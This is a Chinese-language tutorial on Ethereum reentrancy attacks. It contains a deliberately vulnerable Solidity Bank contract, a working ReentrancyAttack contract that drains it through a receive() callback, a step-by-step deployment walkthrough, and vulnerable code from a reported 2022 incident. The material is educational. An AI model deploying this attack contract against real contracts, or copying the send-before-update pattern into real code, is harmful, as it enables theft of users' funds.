龙空技术网

一文读懂Web3之合约重入攻击

区块软件开发 312

前言:

此刻你们对“c语言重入”都比较珍视,各位老铁们都想要剖析一些“c语言重入”的相关内容。那么小编同时在网摘上收集了一些有关“c语言重入””的相关资讯,希望小伙伴们能喜欢,咱们快快来学习一下吧!

合约重入攻击概念

在以太坊中,智能合约能够调用其他外部合约的代码,由于智能合约可以调用外部合约或者发送以太币,这些操作需要合约提交外部的调用,所以这些合约外部的调用就可以被攻击者利用造成攻击劫持,使得被攻击合约在任意位置重新执行,绕过原代码中的限制条件,从而发生重入攻击。重入攻击本质上与编程里的递归调用类似,所以当合约将以太币发送到未知地址时就可能会发生。

漏洞原理概述

合约重入攻击是代码中对用户(attacker)的合约请求进行调用,没有进行二次验证,然后可以使attacker修改合约状态,改变账本.从而实现多重提币操作

简例代码

对于A,B账户

withdraw(){  check balance >0  send Ether  balance=0}
fallback(){  A.withdrwa()} attack(){  A.withdraw()}

attack()调用A中withdraw() 进行检查 发送

A合约向B合约发送ETH时,出发B合约fallback()函数,那么重新调用取款方法。

因为A合约中balance()函数并没有被执行,所以check balance依然成立,那么会继续send ETH。导致池子被攻击。

示例代码部署以及分析

pragma solidity ^0.8.12; interface IBank {    function deposit() external payable;     function withdraw() external;} contract Bank {    mapping(address => uint256) public balance;    uint256 public totalDeposit;     function ethBalance() external view returns (uint256) {        return address(this).balance;    }     function deposit() external payable {        balance[msg.sender] += msg.value;        totalDeposit += msg.value;    }     function withdraw() external {        require(balance[msg.sender] > 0, "Bank: no balance");        msg.sender.call{value: balance[msg.sender]}("");        totalDeposit -= balance[msg.sender];        balance[msg.sender] = 0;    }} contract ReentrancyAttack {    IBank bank;     constructor(address _bank) {        bank = IBank(_bank);    }     function doDeposit() external payable {        bank.deposit{value: msg.value}();    }     function doWithdraw() external {        bank.withdraw();        payable(msg.sender).transfer(address(this).balance);    }     receive() external payable {        bank.withdraw();    }}
部署:

首先部署一个Bank合约

然后部署ReentrancyAttack合约,ReentrancyAttack合约地址需要填写Bank合约地址.因为Bank于ReentrancyAttack做交互

流程

用默认账户在Bank中存入11个ETH

根据代码中Bank方法,我们可以使用ethBalance和totalDeposit查看流程中的ETH数量,可以看到两个的值都为:0:uint256: 11000000000000000000默认账户的balance的ETH的数量也为11

然后在ReentrancyAttack合约中doDeposit 1个ETH.会发现ethBalance和totalDeposit中账户ETH数量变为了12

这样对A(Bank)B(ReentrancyAttack)账户就完成了,符合代码条件.

接下来就可以进行重入攻击:

根据代码:

function doWithdraw() external {        bank.withdraw();        payable(msg.sender).transfer(address(this).balance);     }

可以调用Bank的withdraw函数,进行攻击,会发现Bank的账户变为10ETH,但是ethBalance的值已经变为0了

去查看B(ReentrancyAttack)账户的ETH也为0

但是此时默认账户的balance确还是11

这样就可以发现ReentrancyAttack合约对Bank进行攻击提走了所有ETH

简例代码原理

对Bank代码

contract Bank {    mapping(address => uint256) public balance;  //记录账户余额    uint256 public totalDeposit;   //记录所有用户在Bank合约存入余额     function ethBalance() external view returns (uint256) {        return address(this).balance;   //返回Bank合约真实余额    }     function deposit() external payable {        balance[msg.sender] += msg.value;   //用来让用户存入ETH        totalDeposit += msg.value;    }     function withdraw() external {      //让用户来提现余额        require(balance[msg.sender] > 0, "Bank: no balance");        msg.sender.call{value: balance[msg.sender]}("");        totalDeposit -= balance[msg.sender];        balance[msg.sender] = 0;    }}

对于ReentrancyAttack

contract ReentrancyAttack {    IBank bank;  //记录地址     constructor(address _bank) {        bank = IBank(_bank);    //为Bank赋值    }     function doDeposit() external payable {        bank.deposit{value: msg.value}();    //向Bank存入ETH    }     function doWithdraw() external {  //从Bank中提现ETH        bank.withdraw();        payable(msg.sender).transfer(address(this).balance);    }     receive() external payable {        bank.withdraw();    }}

B主要攻击A代码为

function doWithdraw() external {  //从Bank中提现ETH        bank.withdraw();         payable(msg.sender).transfer(address(this).balance);    }

从Bank向ReentrancyAttack转账时触发withdraw()再次提现实现

payable(msg.sender).transfer(address(this).balance);

从而继续:msg.sender.call{value: balance[msg.sender]}("");

而A中withdraw()

require(balance[msg.sender] > 0, "Bank: no balance");

会触发B中receive(),再次调用Bank合约中withddraw()方法

balance()方法查看 ReentrancyAttack合约地址创建者,发现合约创建者balance为1ETH,但是合约里已经没有 Ether 可以提供兑付.

由此因为并没有改变A中balance的状态,从而会继续由A向B执行转账ETH交易,然后会再次触发ReentrancyAttack中receive()继续执行循环,直到账户中ETH数量为0.

从而上述流程实现了重入攻击。

历史漏洞攻击实例

2022年10月1号,在ERC721发送重入攻击

问题在 claimReward(). 攻击者可透过重入漏洞来把合约上的资产取走.

发生漏洞的程式片段:

THB_Roulette | Address 0x72e901f1bb2bfa2339326dfb90c5cec911e2ba3c | BscScan

function claimReward(         uint256 _ID,        address payable _player,        uint256 _amount,        bool _rewardStatus,        uint256 _x,        string memory name,        address _add    ) external {        require(gameMode);        bool checkValidity = guess(_x, name, _add);         if (checkValidity == true) {            if (winners[_ID][_player] == _amount) {                _player.transfer(_amount * 2);                if (_rewardStatus == true) {                    sendReward();                }                delete winners[_ID][_player];            } else {                if (_rewardStatus == true) {                    sendRewardDys();                }            }            rewardStatus = false;        }    }

House_Wallet | Address 0xae191Ca19F0f8E21d754c6CAb99107eD62B6fe53 | BscScan

function reward(address to,uint256 _mintAmount) external {        uint256 supply = totalSupply();        uint256 rewardSupply = rewardTotal;        require(rewardSupply <= rewardSize,"");        for (uint256 i = 1; i <= _mintAmount; i++) {                    _safeMint(to, supply + i);           rewardTotal++;                 }  }/**     * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is     * forwarded in {IERC721Receiver-onERC721Received} to contract recipients.     */    function _safeMint(         address to,        uint256 tokenId,        bytes memory data    ) internal virtual {        _mint(to, tokenId);        require(            _checkOnERC721Received(address(0), to, tokenId, data), **//callback**             "ERC721: transfer to non ERC721Receiver implementer"        );    }

ref:

Re-Entrancy | Solidity by Example | 0.8.10 ()

DeFi Hacks Analysis – 漏洞根本原因分析 ()

from

标签: #c语言重入